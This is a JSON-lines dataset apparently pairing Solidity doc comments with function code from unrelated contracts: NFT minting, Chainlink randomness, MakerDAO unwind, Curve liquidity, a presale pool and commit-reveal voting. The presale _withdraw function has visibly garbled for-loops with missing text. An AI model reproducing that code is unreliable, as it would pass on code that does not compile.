code = _genReferral(msg.sender);\r\n address record = referrals[code];\r\n require(\r\n record == address(0x0),\r\n \"Already registered\"\r\n );\r\n require(\r\n referralNumber < MAX_REFERRAL_NUMBER,\r\n \"Referral code all sold out\"\r\n );\r\n referrals[code] = msg.sender;\r\n referralNumber = referralNumber.safeAdd(1);\r\n console.log(\"operation:registerReferralCode sender:\", msg.sender, \"code:\", code);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n getLatestPackPrice: return the price of the next pack mint\r\n it's the sum price of the next PACK_NUMBER single mints\r\n throws error if the remaining supply is less than PACK_NUMBER\r\n */", "function_code": "function getLatestPackPrice() public view returns (uint256) {\r\n uint256 price = 0;\r\n for (uint256 i = 1; i <= PACK_NUMBER; i = i.safeAdd(1)) {\r\n price = price.safeAdd(_getMintPrice(soldNumber.safeAdd(i)));\r\n }\r\n price = price.safeMul(PACK_SALE_DISCOUNT).safeDiv(100);\r\n return price; \r\n }", "version": "0.6.12"} {"comment": "/**\r\n getReferralCode: return the referral code for the sender if they registered\r\n */", "function_code": "function getReferralCode() public view returns (string memory) {\r\n string memory code = _genReferral(msg.sender);\r\n address recordAddress = referrals[code];\r\n console.log(\"operation:getReferralCode sender:\", msg.sender, \"code:\", code);\r\n require(\r\n msg.sender == recordAddress,\r\n \"Not registered to the referral program\"\r\n );\r\n return code;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n _fundReferral: fund price * REFERRAL_CUT% to the referer\r\n */", "function_code": "function _fundReferral(string memory referralCode, uint256 price) internal {\r\n address toAddress = referrals[referralCode];\r\n if (toAddress != address(0x0)) {\r\n uint256 referralCut = price.safeMul(REFERRAL_CUT).safeDiv(100);\r\n (bool success, ) = payable(toAddress).call{value: referralCut}(\"\");\r\n require(success, \"Payment to referral failed\");\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n _mintOne function:\r\n 1. generate the NFT\r\n */", "function_code": "function _mintOne(address toAddress, uint256 randomness) internal {\r\n // Check supply\r\n require(\r\n mintedNumber < MAX_NFT_NUMBER,\r\n \"Insufficient supply\"\r\n );\r\n\r\n uint256 seedIndex;\r\n uint256 printIndex;\r\n (seedIndex, printIndex) = _calc(randomness);\r\n uint256 score = 1;\r\n uint256 token = _genToken(toAddress, seedIndex, printIndex, score);\r\n console.log(\"minted seedIndex is '%s' printIndex is '%s' token is '%s'\", seedIndex, printIndex, token);\r\n\r\n _mint(toAddress, token);\r\n mintedNumber = mintedNumber.safeAdd(1);\r\n seedMintedNumber[seedIndex] = seedMintedNumber[seedIndex].safeAdd(1);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n _calc: calculate the seed index and print index from the random number\r\n */", "function_code": "function _calc(uint256 randomness) internal view returns (uint256, uint256) {\r\n assert(mintedNumber < MAX_NFT_NUMBER);\r\n uint256 n = randomness.safeMod(MAX_NFT_NUMBER.safeSub(mintedNumber)).safeAdd(1);\r\n for (uint256 seedIndex = STARTING_INDEX; seedIndex <= MAX_SEED_NUMBER; seedIndex = seedIndex.safeAdd(1)) {\r\n uint remainingPrintNumber = MAX_PRINT_NUMBERS[seedIndex].safeSub(seedMintedNumber[seedIndex]);\r\n if (n <= remainingPrintNumber) {\r\n uint256 printIndex = seedMintedNumber[seedIndex].safeAdd(1);\r\n return (seedIndex, printIndex);\r\n }\r\n n = n.safeSub(remainingPrintNumber);\r\n }\r\n // should not reach here\r\n assert(false);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * _genToken generates unique token for each NFT\r\n * - 1st byte: seedIndex\r\n * - 2nd byte: printIndex\r\n * - 3rd byte: score\r\n * - 4th byte: zero (reserved byte)\r\n */", "function_code": "function _genToken(address toAddress, uint256 seedIndex, uint256 printIndex, uint256 score) internal view returns (uint256) {\r\n bytes32 hash = keccak256(abi.encodePacked(block.number, blockhash(block.number - 1), toAddress, seedIndex, printIndex, score));\r\n uint256 token = 0;\r\n for (uint256 i = 0; i < 32; i = i.safeAdd(1)) {\r\n token = token << 8;\r\n if (i == 0) {\r\n token = token | seedIndex;\r\n } else if (i == 1) {\r\n token = token | printIndex;\r\n } else if (i == 2) {\r\n token = token | score;\r\n } else if (i == 3) {\r\n // do nothing, reversed byte\r\n } else {\r\n token = token | uint8(hash[i]);\r\n }\r\n }\r\n return token;\r\n }", "version": "0.6.12"} {"comment": "/** \r\n _getRandomNumber: send the request number request to chain.link\r\n */", "function_code": "function _getRandomNumber(uint256 seed) internal returns (bytes32) {\r\n uint256 linkBalance = LINK.balanceOf(address(this));\r\n require(\r\n linkBalance >= LINK_FEE, \r\n \"Contract doesn't have enough LINK\"\r\n );\r\n console.log(\"operation:callChainLink seed:%s balance:%s\", seed, linkBalance);\r\n return requestRandomness(KEY_HASH, LINK_FEE, seed);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n return the substring which has length of k\r\n */", "function_code": "function _substr(string memory _str, uint256 k) internal pure returns (string memory) {\r\n bytes memory bstr = bytes(_str);\r\n if (k >= bstr.length) {\r\n return _str;\r\n }\r\n \r\n bytes memory bsubstr = new bytes(k);\r\n for (uint i = 0; i < k; i++) {\r\n bsubstr[i] = bstr[i];\r\n }\r\n return string(bsubstr);\r\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Request the random number to be used for a batch mint\n */", "function_code": "function requestRandomNumber() external onlyOwner {\n // Can trigger only one randomness request at a time\n require(\n randomNumberStatus != RNStatus.requested,\n \"Random number already requested\"\n );\n // We need some LINK to pay a fee to the oracles\n require(LINK.balanceOf(address(this)) >= fee, \"Not enough LINK\");\n // Indicate that a request has been initiated\n randomNumberStatus = RNStatus.requested;\n // Request a random number to Chainlink oracles\n bytes32 requestId = requestRandomness(keyhash, fee);\n emit RequestedRandomness(requestId);\n }", "version": "0.8.4"} {"comment": "/**\n * Called by Chainlink oracles when sending back a random number for\n * a given request\n * This function cannot use more than 200,000 gas or the transaction\n * will fail\n */", "function_code": "function fulfillRandomness(bytes32 requestId, uint256 randomNumber)\n internal\n override\n {\n // Put 16 bytes of randomNumber into randomSeed\n randomSeed =\n randomNumber &\n 0xffffffffffffffff0000000000000000ffffffffffffffff0000000000000000;\n // Put the other 16 bytes of randomNumber into randomIncrementor\n randomIncrementor =\n randomNumber &\n 0x0000000000000000ffffffffffffffff0000000000000000ffffffffffffffff;\n // We're making sure the random incrementor is high enough and most\n // importantly not zero\n if (randomIncrementor < 10000) {\n randomIncrementor += 10000;\n }\n // Allow to trigger a new randomness request\n randomNumberStatus = RNStatus.received;\n // Just to tell us that the random number has been received\n // No need to broadcast, however making it public is not problematic\n // and shouldn't since any data on-chain is public (even private variable)\n emit RandomNumberReceived(requestId);\n }", "version": "0.8.4"} {"comment": "/**\n Get NEW TAT2, use approve/transferFrom\n @param amount number of old TAT2\n */", "function_code": "function swap(uint256 amount) external {\n uint8 decimals = newtat2decimals - oldtat2decimals;\n uint256 newamount = amount * (10 ** decimals);\n require(\n INterfaces(oldtat2).transferFrom(msg.sender, address(this), amount),\n ERR_TRANSFER\n );\n require(\n INterfaces(newtat2).transfer(msg.sender, newamount),\n ERR_TRANSFER\n );\n emit Swapped(msg.sender, amount, newamount);\n }", "version": "0.8.7"} {"comment": "/// @dev Settle system debt in MakerDAO and free remaining collateral.", "function_code": "function settleTreasury() public {\r\n require(\r\n live == false,\r\n \"Unwind: Unwind first\"\r\n );\r\n (uint256 ink, uint256 art) = vat.urns(WETH, address(treasury));\r\n require(ink > 0, \"Unwind: Nothing to settle\");\r\n\r\n _treasuryWeth = ink; // We will need this to skim profits\r\n vat.fork( // Take the treasury vault\r\n WETH,\r\n address(treasury),\r\n address(this),\r\n toInt(ink),\r\n toInt(art)\r\n );\r\n end.skim(WETH, address(this)); // Settle debts\r\n end.free(WETH); // Free collateral\r\n uint256 gem = vat.gem(WETH, address(this)); // Find out how much collateral we have now\r\n wethJoin.exit(address(this), gem); // Take collateral out\r\n settled = true;\r\n }", "version": "0.6.10"} {"comment": "/// @dev Put all chai savings in MakerDAO and exchange them for weth", "function_code": "function cashSavings() public {\r\n require(\r\n end.tag(WETH) != 0,\r\n \"Unwind: End.sol not caged\"\r\n );\r\n require(\r\n end.fix(WETH) != 0,\r\n \"Unwind: End.sol not ready\"\r\n );\r\n \r\n uint256 chaiTokens = chai.balanceOf(address(treasury));\r\n require(chaiTokens > 0, \"Unwind: Nothing to cash\");\r\n chai.exit(address(treasury), chaiTokens); // Get the chai as dai\r\n\r\n uint256 daiTokens = dai.balanceOf(address(this)); // Find out how much is the chai worth\r\n daiJoin.join(address(this), daiTokens); // Put the dai into MakerDAO\r\n end.pack(daiTokens); // Into End.sol, more exactly\r\n end.cash(WETH, daiTokens); // Exchange the dai for weth\r\n uint256 gem = vat.gem(WETH, address(this)); // Find out how much collateral we have now\r\n wethJoin.exit(address(this), gem); // Take collateral out\r\n cashedOut = true;\r\n\r\n _fix = end.fix(WETH);\r\n _chi = pot.chi();\r\n }", "version": "0.6.10"} {"comment": "/// @dev Settles a series position in Controller for any user, and then returns any remaining collateral as weth using the unwind Dai to Weth price.\n/// @param collateral Valid collateral type.\n/// @param user User vault to settle, and wallet to receive the corresponding weth.", "function_code": "function settle(bytes32 collateral, address user) public {\r\n (uint256 tokens, uint256 debt) = controller.erase(collateral, user);\r\n require(tokens > 0, \"Unwind: Nothing to settle\");\r\n\r\n uint256 remainder;\r\n if (collateral == WETH) {\r\n remainder = subFloorZero(tokens, daiToFixWeth(debt, _fix));\r\n } else if (collateral == CHAI) {\r\n remainder = daiToFixWeth(subFloorZero(chaiToDai(tokens, _chi), debt), _fix);\r\n }\r\n require(weth.transfer(user, remainder));\r\n }", "version": "0.6.10"} {"comment": "/// @dev Redeems FYDai for weth for any user. FYDai.redeem won't work if MakerDAO is in shutdown.\n/// @param maturity Maturity of an added series\n/// @param user Wallet containing the fyDai to burn.", "function_code": "function redeem(uint256 maturity, address user) public {\r\n IFYDai fyDai = controller.series(maturity);\r\n require(fyDai.unlocked() == 1, \"fyDai is still locked\");\r\n uint256 fyDaiAmount = fyDai.balanceOf(user);\r\n require(fyDaiAmount > 0, \"Unwind: Nothing to redeem\");\r\n\r\n fyDai.burn(user, fyDaiAmount);\r\n require(\r\n weth.transfer(\r\n user,\r\n daiToFixWeth(muld(fyDaiAmount, fyDai.chiGrowth()), _fix)\r\n )\r\n );\r\n }", "version": "0.6.10"} {"comment": "/**\r\n @notice This function adds liquidity to a Curve pool with ETH or ERC20 tokens\r\n @param _fromTokenAddress The token used for entry (address(0) if ether)\r\n @param _toTokenAddress The intermediate ERC20 token to swap to\r\n @param _swapAddress Curve swap address for the pool\r\n @param _incomingTokenQty The amount of fromToken to invest\r\n @param _minPoolTokens The minimum acceptable quantity of Curve LP to receive. Reverts otherwise\r\n @param _swapTarget Excecution target for the first swap\r\n @param _swapCallData DEX quote data\r\n @param affiliate Affiliate address\r\n @return crvTokensBought- Quantity of Curve LP tokens received\r\n */", "function_code": "function ZapIn(\r\n address _fromTokenAddress,\r\n address _toTokenAddress,\r\n address _swapAddress,\r\n uint256 _incomingTokenQty,\r\n uint256 _minPoolTokens,\r\n address _swapTarget,\r\n bytes calldata _swapCallData,\r\n address affiliate\r\n ) external payable stopInEmergency returns (uint256 crvTokensBought) {\r\n uint256 toInvest = _pullTokens(\r\n _fromTokenAddress,\r\n _incomingTokenQty,\r\n affiliate\r\n );\r\n if (_fromTokenAddress == address(0)) {\r\n _fromTokenAddress = ETHAddress;\r\n }\r\n\r\n // perform zapIn\r\n crvTokensBought = _performZapIn(\r\n _fromTokenAddress,\r\n _toTokenAddress,\r\n _swapAddress,\r\n toInvest,\r\n _swapTarget,\r\n _swapCallData\r\n );\r\n\r\n require(\r\n crvTokensBought > _minPoolTokens,\r\n \"Received less than minPoolTokens\"\r\n );\r\n\r\n address poolTokenAddress = curveReg.getTokenAddress(_swapAddress);\r\n\r\n emit zapIn(msg.sender, poolTokenAddress, crvTokensBought);\r\n\r\n IERC20(poolTokenAddress).transfer(msg.sender, crvTokensBought);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n @notice This function gets adds the liquidity for meta pools and returns the token index and swap tokens\r\n @param _swapAddress Curve swap address for the pool\r\n @param _toTokenAddress The ERC20 token to which from token to be convert\r\n @param swapTokens amount of toTokens to invest\r\n @return tokensBought- quantity of curve LP acquired\r\n @return index- index of LP token in _swapAddress whose pool tokens were acquired\r\n */", "function_code": "function _enterMetaPool(\r\n address _swapAddress,\r\n address _toTokenAddress,\r\n uint256 swapTokens\r\n ) internal returns (uint256 tokensBought, uint8 index) {\r\n address[4] memory poolTokens = curveReg.getPoolTokens(_swapAddress);\r\n for (uint8 i = 0; i < 4; i++) {\r\n address intermediateSwapAddress = curveReg.getSwapAddress(\r\n poolTokens[i]\r\n );\r\n if (intermediateSwapAddress != address(0)) {\r\n (, index) = curveReg.isUnderlyingToken(\r\n intermediateSwapAddress,\r\n _toTokenAddress\r\n );\r\n\r\n tokensBought = _enterCurve(\r\n intermediateSwapAddress,\r\n swapTokens,\r\n index\r\n );\r\n\r\n return (tokensBought, i);\r\n }\r\n }\r\n }", "version": "0.5.17"} {"comment": "/**\r\n @notice This function adds liquidity to a curve pool\r\n @param _swapAddress Curve swap address for the pool\r\n @param amount The quantity of tokens being added as liquidity\r\n @param index The token index for the add_liquidity call\r\n @return crvTokensBought- the quantity of curve LP tokens received\r\n */", "function_code": "function _enterCurve(\r\n address _swapAddress,\r\n uint256 amount,\r\n uint8 index\r\n ) internal returns (uint256 crvTokensBought) {\r\n address tokenAddress = curveReg.getTokenAddress(_swapAddress);\r\n address depositAddress = curveReg.getDepositAddress(_swapAddress);\r\n uint256 initialBalance = IERC20(tokenAddress).balanceOf(address(this));\r\n address entryToken = curveReg.getPoolTokens(_swapAddress)[index];\r\n if (entryToken != ETHAddress) {\r\n IERC20(entryToken).safeIncreaseAllowance(\r\n address(depositAddress),\r\n amount\r\n );\r\n }\r\n\r\n uint256 numTokens = curveReg.getNumTokens(_swapAddress);\r\n bool addUnderlying = curveReg.shouldAddUnderlying(_swapAddress);\r\n\r\n if (numTokens == 4) {\r\n uint256[4] memory amounts;\r\n amounts[index] = amount;\r\n if (addUnderlying) {\r\n ICurveSwap(depositAddress).add_liquidity(amounts, 0, true);\r\n } else {\r\n ICurveSwap(depositAddress).add_liquidity(amounts, 0);\r\n }\r\n } else if (numTokens == 3) {\r\n uint256[3] memory amounts;\r\n amounts[index] = amount;\r\n if (addUnderlying) {\r\n ICurveSwap(depositAddress).add_liquidity(amounts, 0, true);\r\n } else {\r\n ICurveSwap(depositAddress).add_liquidity(amounts, 0);\r\n }\r\n } else {\r\n uint256[2] memory amounts;\r\n amounts[index] = amount;\r\n if (curveReg.isEthPool(depositAddress)) {\r\n ICurveEthSwap(depositAddress).add_liquidity.value(amount)(\r\n amounts,\r\n 0\r\n );\r\n } else if (addUnderlying) {\r\n ICurveSwap(depositAddress).add_liquidity(amounts, 0, true);\r\n } else {\r\n ICurveSwap(depositAddress).add_liquidity(amounts, 0);\r\n }\r\n }\r\n crvTokensBought = (IERC20(tokenAddress).balanceOf(address(this))).sub(\r\n initialBalance\r\n );\r\n }", "version": "0.5.17"} {"comment": "// base rate is 100, so for 1 to 1 send in 100 as ratio", "function_code": "function addMiningToken(address tokenAddr, uint ratio) onlyAdmin external {\r\n require(exchangeRatios[tokenAddr] == 0 && ratio > 0 && ratio < 10000);\r\n exchangeRatios[tokenAddr] = ratio;\r\n\r\n bool found = false;\r\n for (uint16 i = 0; i < miningTokens.length; i++) {\r\n if (miningTokens[i] == tokenAddr) {\r\n found = true;\r\n break;\r\n }\r\n }\r\n if (!found) {\r\n miningTokens.push(tokenAddr);\r\n }\r\n emit MiningTokenAdded(tokenAddr, ratio);\r\n }", "version": "0.4.24"} {"comment": "// This function is called at the time of contract creation,\n// it sets the initial variables and whitelists the contract owner.", "function_code": "function PresalePool (address receiverAddr, uint contractCap, uint cap, uint fee) public {\r\n require (fee < 100);\r\n require (contractCap >= cap);\r\n owner = msg.sender;\r\n receiverAddress = receiverAddr;\r\n maxContractBalance = contractCap;\r\n contributionCap = cap;\r\n feePct = _toPct(fee,100);\r\n }", "version": "0.4.19"} {"comment": "// Internal function for handling eth deposits during contract stage one.", "function_code": "function _ethDeposit () internal {\r\n assert (contractStage == 1);\r\n require (!whitelistIsActive || whitelistContract.isPaidUntil(msg.sender) > now);\r\n require (tx.gasprice <= maxGasPrice);\r\n require (this.balance <= maxContractBalance);\r\n var c = whitelist[msg.sender];\r\n uint newBalance = c.balance.add(msg.value);\r\n require (newBalance >= contributionMin);\r\n if (nextCapTime > 0 && nextCapTime < now) {\r\n contributionCap = nextContributionCap;\r\n nextCapTime = 0;\r\n }\r\n if (c.cap > 0) require (newBalance <= c.cap);\r\n else require (newBalance <= contributionCap);\r\n c.balance = newBalance;\r\n ContributorBalanceChanged(msg.sender, newBalance);\r\n }", "version": "0.4.19"} {"comment": "// This function is called to withdraw eth or tokens from the contract.\n// It can only be called by addresses that are whitelisted and show a balance greater than 0.\n// If called during stage one, the full eth balance deposited into the contract is returned and the contributor's balance reset to 0.\n// If called during stage two, the contributor's unused eth will be returned, as well as any available tokens.\n// The token address may be provided optionally to withdraw tokens that are not currently the default token (airdrops).", "function_code": "function withdraw (address tokenAddr) public {\r\n var c = whitelist[msg.sender];\r\n require (c.balance > 0);\r\n if (contractStage == 1) {\r\n uint amountToTransfer = c.balance;\r\n c.balance = 0;\r\n msg.sender.transfer(amountToTransfer);\r\n ContributorBalanceChanged(msg.sender, 0);\r\n } else {\r\n _withdraw(msg.sender,tokenAddr);\r\n } \r\n }", "version": "0.4.19"} {"comment": "// This internal function handles withdrawals during stage two.\n// The associated events will fire to notify when a refund or token allocation is claimed.", "function_code": "function _withdraw (address receiver, address tokenAddr) internal {\r\n assert (contractStage == 2);\r\n var c = whitelist[receiver];\r\n if (tokenAddr == 0x00) {\r\n tokenAddr = activeToken;\r\n }\r\n var d = distributionMap[tokenAddr];\r\n require ( (ethRefundAmount.length > c.ethRefund) || d.pct.length > c.tokensClaimed[tokenAddr] );\r\n if (ethRefundAmount.length > c.ethRefund) {\r\n uint pct = _toPct(c.balance,finalBalance);\r\n uint ethAmount = 0;\r\n for (uint i=c.ethRefund; i 0) {\r\n receiver.transfer(ethAmount);\r\n EthRefunded(receiver,ethAmount);\r\n }\r\n }\r\n if (d.pct.length > c.tokensClaimed[tokenAddr]) {\r\n uint tokenAmount = 0;\r\n for (i=c.tokensClaimed[tokenAddr]; i 0) {\r\n require(d.token.transfer(receiver,tokenAmount));\r\n d.balanceRemaining = d.balanceRemaining.sub(tokenAmount);\r\n TokensWithdrawn(receiver,tokenAddr,tokenAmount);\r\n } \r\n }\r\n \r\n }", "version": "0.4.19"} {"comment": "// This function is called by the owner to modify the cap at a future time.", "function_code": "function modifyNextCap (uint time, uint cap) public onlyOwner {\r\n require (contractStage == 1);\r\n require (contributionCap <= cap && maxContractBalance >= cap);\r\n require (time > now);\r\n nextCapTime = time;\r\n nextContributionCap = cap;\r\n }", "version": "0.4.19"} {"comment": "// This callable function returns the total pool cap, current balance and remaining balance to be filled.", "function_code": "function checkPoolBalance () view public returns (uint poolCap, uint balance, uint remaining) {\r\n if (contractStage == 1) {\r\n remaining = maxContractBalance.sub(this.balance);\r\n } else {\r\n remaining = 0;\r\n }\r\n return (maxContractBalance,this.balance,remaining);\r\n }", "version": "0.4.19"} {"comment": "// This callable function returns the balance, contribution cap, and remaining available balance of any contributor.", "function_code": "function checkContributorBalance (address addr) view public returns (uint balance, uint cap, uint remaining) {\r\n var c = whitelist[addr];\r\n if (contractStage == 2) return (c.balance,0,0);\r\n if (whitelistIsActive && whitelistContract.isPaidUntil(addr) < now) return (c.balance,0,0);\r\n if (c.cap > 0) cap = c.cap;\r\n else cap = contributionCap;\r\n if (cap.sub(c.balance) > maxContractBalance.sub(this.balance)) return (c.balance, cap, maxContractBalance.sub(this.balance));\r\n return (c.balance, cap, cap.sub(c.balance));\r\n }", "version": "0.4.19"} {"comment": "// This callable function returns the token balance that a contributor can currently claim.", "function_code": "function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint tokenAmount) {\r\n var c = whitelist[addr];\r\n var d = distributionMap[tokenAddr];\r\n for (uint i = c.tokensClaimed[tokenAddr]; i < d.pct.length; i++) {\r\n tokenAmount = tokenAmount.add(_applyPct(c.balance, d.pct[i]));\r\n }\r\n return tokenAmount;\r\n }", "version": "0.4.19"} {"comment": "// This function sends the pooled eth to the receiving address, calculates the % of unused eth to be returned,\n// and advances the contract to stage two. It can only be called by the contract owner during stages one or two.\n// The amount to send (given in wei) must be specified during the call. As this function can only be executed once,\n// it is VERY IMPORTANT not to get the amount wrong.", "function_code": "function submitPool (uint amountInWei) public onlyOwner noReentrancy {\r\n require (contractStage == 1);\r\n require (receiverAddress != 0x00);\r\n require (block.number >= addressChangeBlock.add(6000));\r\n if (amountInWei == 0) amountInWei = this.balance;\r\n require (contributionMin <= amountInWei && amountInWei <= this.balance);\r\n finalBalance = this.balance;\r\n require (receiverAddress.call.value(amountInWei).gas(msg.gas.sub(5000))());\r\n if (this.balance > 0) ethRefundAmount.push(this.balance);\r\n contractStage = 2;\r\n PoolSubmitted(receiverAddress, amountInWei);\r\n }", "version": "0.4.19"} {"comment": "// This function opens the contract up for token withdrawals.\n// It can only be called by the owner during stage two. The owner specifies the address of an ERC20 token\n// contract that this contract has a balance in, and optionally a bool to prevent this token from being\n// the default withdrawal (in the event of an airdrop, for example).", "function_code": "function enableTokenWithdrawals (address tokenAddr, bool notDefault) public onlyOwner noReentrancy {\r\n require (contractStage == 2);\r\n if (notDefault) {\r\n require (activeToken != 0x00);\r\n } else {\r\n activeToken = tokenAddr;\r\n }\r\n var d = distributionMap[tokenAddr]; \r\n if (d.pct.length==0) d.token = ERC20(tokenAddr);\r\n uint amount = d.token.balanceOf(this).sub(d.balanceRemaining);\r\n require (amount > 0);\r\n if (feePct > 0) {\r\n require (d.token.transfer(owner,_applyPct(amount,feePct)));\r\n }\r\n amount = d.token.balanceOf(this).sub(d.balanceRemaining);\r\n d.balanceRemaining = d.token.balanceOf(this);\r\n d.pct.push(_toPct(amount,finalBalance));\r\n }", "version": "0.4.19"} {"comment": "/** @dev Creates `amount` tokens and assigns them to `account`, increasing\r\n * the total supply.\r\n *\r\n * Emits a {Transfer} event with `from` set to the zero address.\r\n *\r\n * Requirements\r\n *\r\n * - `to` cannot be the zero address.\r\n * \r\n * HINT: This function is 'internal' and therefore can only be called from another\r\n * function inside this contract!\r\n */", "function_code": "function _mint(address account, uint256 amount) internal virtual {\r\n require(account != address(0), \"ERC20: mint to the zero address\");\r\n _beforeTokenTransfer(address(0), account, amount);\r\n _totalSupply = _totalSupply.add(amount);\r\n _balances[account] = _balances[account].add(amount);\r\n emit Transfer(address(0), account, amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n @dev Inserts a new node between _prev and _next. When inserting a node already existing in \r\n the list it will be automatically removed from the old position.\r\n @param _prev the node which _new will be inserted after\r\n @param _curr the id of the new node being inserted\r\n @param _next the node which _new will be inserted before\r\n */", "function_code": "function insert(Data storage self, uint _prev, uint _curr, uint _next) public {\r\n require(_curr != NULL_NODE_ID);\r\n\r\n remove(self, _curr);\r\n\r\n require(_prev == NULL_NODE_ID || contains(self, _prev));\r\n require(_next == NULL_NODE_ID || contains(self, _next));\r\n\r\n require(getNext(self, _prev) == _next);\r\n require(getPrev(self, _next) == _prev);\r\n\r\n self.dll[_curr].prev = _prev;\r\n self.dll[_curr].next = _next;\r\n\r\n self.dll[_prev].next = _curr;\r\n self.dll[_next].prev = _curr;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice Commits vote using hash of choice and secret salt to conceal vote until reveal\r\n @param _pollID Integer identifier associated with target poll\r\n @param _secretHash Commit keccak256 hash of voter's choice and salt (tightly packed in this order)\r\n @param _numTokens The number of tokens to be committed towards the target poll\r\n @param _prevPollID The ID of the poll that the user has voted the maximum number of tokens in which is still less than or equal to numTokens\r\n */", "function_code": "function commitVote(uint _pollID, bytes32 _secretHash, uint _numTokens, uint _prevPollID) public {\r\n require(commitPeriodActive(_pollID));\r\n\r\n // if msg.sender doesn't have enough voting rights,\r\n // request for enough voting rights\r\n if (voteTokenBalance[msg.sender] < _numTokens) {\r\n uint remainder = _numTokens.sub(voteTokenBalance[msg.sender]);\r\n requestVotingRights(remainder);\r\n }\r\n\r\n // make sure msg.sender has enough voting rights\r\n require(voteTokenBalance[msg.sender] >= _numTokens);\r\n // prevent user from committing to zero node placeholder\r\n require(_pollID != 0);\r\n // prevent user from committing a secretHash of 0\r\n require(_secretHash != 0);\r\n\r\n // Check if _prevPollID exists in the user's DLL or if _prevPollID is 0\r\n require(_prevPollID == 0 || dllMap[msg.sender].contains(_prevPollID));\r\n\r\n uint nextPollID = dllMap[msg.sender].getNext(_prevPollID);\r\n\r\n // edge case: in-place update\r\n if (nextPollID == _pollID) {\r\n nextPollID = dllMap[msg.sender].getNext(_pollID);\r\n }\r\n\r\n require(validPosition(_prevPollID, nextPollID, msg.sender, _numTokens));\r\n dllMap[msg.sender].insert(_prevPollID, _pollID, nextPollID);\r\n\r\n bytes32 UUID = attrUUID(msg.sender, _pollID);\r\n\r\n store.setAttribute(UUID, \"numTokens\", _numTokens);\r\n store.setAttribute(UUID, \"commitHash\", uint(_secretHash));\r\n\r\n pollMap[_pollID].didCommit[msg.sender] = true;\r\n emit _VoteCommitted(_pollID, _numTokens, msg.sender);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice Commits votes using hashes of choices and secret salts to conceal votes until reveal\r\n @param _pollIDs Array of integer identifiers associated with target polls\r\n @param _secretHashes Array of commit keccak256 hashes of voter's choices and salts (tightly packed in this order)\r\n @param _numsTokens Array of numbers of tokens to be committed towards the target polls\r\n @param _prevPollIDs Array of IDs of the polls that the user has voted the maximum number of tokens in which is still less than or equal to numTokens\r\n */", "function_code": "function commitVotes(uint[] _pollIDs, bytes32[] _secretHashes, uint[] _numsTokens, uint[] _prevPollIDs) external {\r\n // make sure the array lengths are all the same\r\n require(_pollIDs.length == _secretHashes.length);\r\n require(_pollIDs.length == _numsTokens.length);\r\n require(_pollIDs.length == _prevPollIDs.length);\r\n\r\n // loop through arrays, committing each individual vote values\r\n for (uint i = 0; i < _pollIDs.length; i++) {\r\n commitVote(_pollIDs[i], _secretHashes[i], _numsTokens[i], _prevPollIDs[i]);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @dev Compares previous and next poll's committed tokens for sorting purposes\r\n @param _prevID Integer identifier associated with previous poll in sorted order\r\n @param _nextID Integer identifier associated with next poll in sorted order\r\n @param _voter Address of user to check DLL position for\r\n @param _numTokens The number of tokens to be committed towards the poll (used for sorting)\r\n @return valid Boolean indication of if the specified position maintains the sort\r\n */", "function_code": "function validPosition(uint _prevID, uint _nextID, address _voter, uint _numTokens) public constant returns (bool valid) {\r\n bool prevValid = (_numTokens >= getNumTokens(_voter, _prevID));\r\n // if next is zero node, _numTokens does not need to be greater\r\n bool nextValid = (_numTokens <= getNumTokens(_voter, _nextID) || _nextID == 0);\r\n return prevValid && nextValid;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice Reveals vote with choice and secret salt used in generating commitHash to attribute committed tokens\r\n @param _pollID Integer identifier associated with target poll\r\n @param _voteOption Vote choice used to generate commitHash for associated poll\r\n @param _salt Secret number used to generate commitHash for associated poll\r\n */", "function_code": "function revealVote(uint _pollID, uint _voteOption, uint _salt) public {\r\n // Make sure the reveal period is active\r\n require(revealPeriodActive(_pollID));\r\n require(pollMap[_pollID].didCommit[msg.sender]); // make sure user has committed a vote for this poll\r\n require(!pollMap[_pollID].didReveal[msg.sender]); // prevent user from revealing multiple times\r\n require(keccak256(abi.encodePacked(_voteOption, _salt)) == getCommitHash(msg.sender, _pollID)); // compare resultant hash from inputs to original commitHash\r\n\r\n uint numTokens = getNumTokens(msg.sender, _pollID);\r\n\r\n if (_voteOption == 1) {// apply numTokens to appropriate poll choice\r\n pollMap[_pollID].votesFor += numTokens;\r\n } else {\r\n pollMap[_pollID].votesAgainst += numTokens;\r\n }\r\n\r\n dllMap[msg.sender].remove(_pollID); // remove the node referring to this vote upon reveal\r\n pollMap[_pollID].didReveal[msg.sender] = true;\r\n pollMap[_pollID].voteOptions[msg.sender] = _voteOption;\r\n\r\n emit _VoteRevealed(_pollID, numTokens, pollMap[_pollID].votesFor, pollMap[_pollID].votesAgainst, _voteOption, msg.sender, _salt);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice Reveals multiple votes with choices and secret salts used in generating commitHashes to attribute committed tokens\r\n @param _pollIDs Array of integer identifiers associated with target polls\r\n @param _voteOptions Array of vote choices used to generate commitHashes for associated polls\r\n @param _salts Array of secret numbers used to generate commitHashes for associated polls\r\n */", "function_code": "function revealVotes(uint[] _pollIDs, uint[] _voteOptions, uint[] _salts) external {\r\n // make sure the array lengths are all the same\r\n require(_pollIDs.length == _voteOptions.length);\r\n require(_pollIDs.length == _salts.length);\r\n\r\n // loop through arrays, revealing each individual vote values\r\n for (uint i = 0; i < _pollIDs.length; i++) {\r\n revealVote(_pollIDs[i], _voteOptions[i], _salts[i]);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @param _voter Address of voter who voted in the majority bloc\r\n @param _pollID Integer identifier associated with target poll\r\n @return correctVotes Number of tokens voted for winning option\r\n */", "function_code": "function getNumPassingTokens(address _voter, uint _pollID) public constant returns (uint correctVotes) {\r\n require(pollEnded(_pollID));\r\n require(pollMap[_pollID].didReveal[_voter]);\r\n\r\n uint winningChoice = isPassed(_pollID) ? 1 : 0;\r\n uint voterVoteOption = 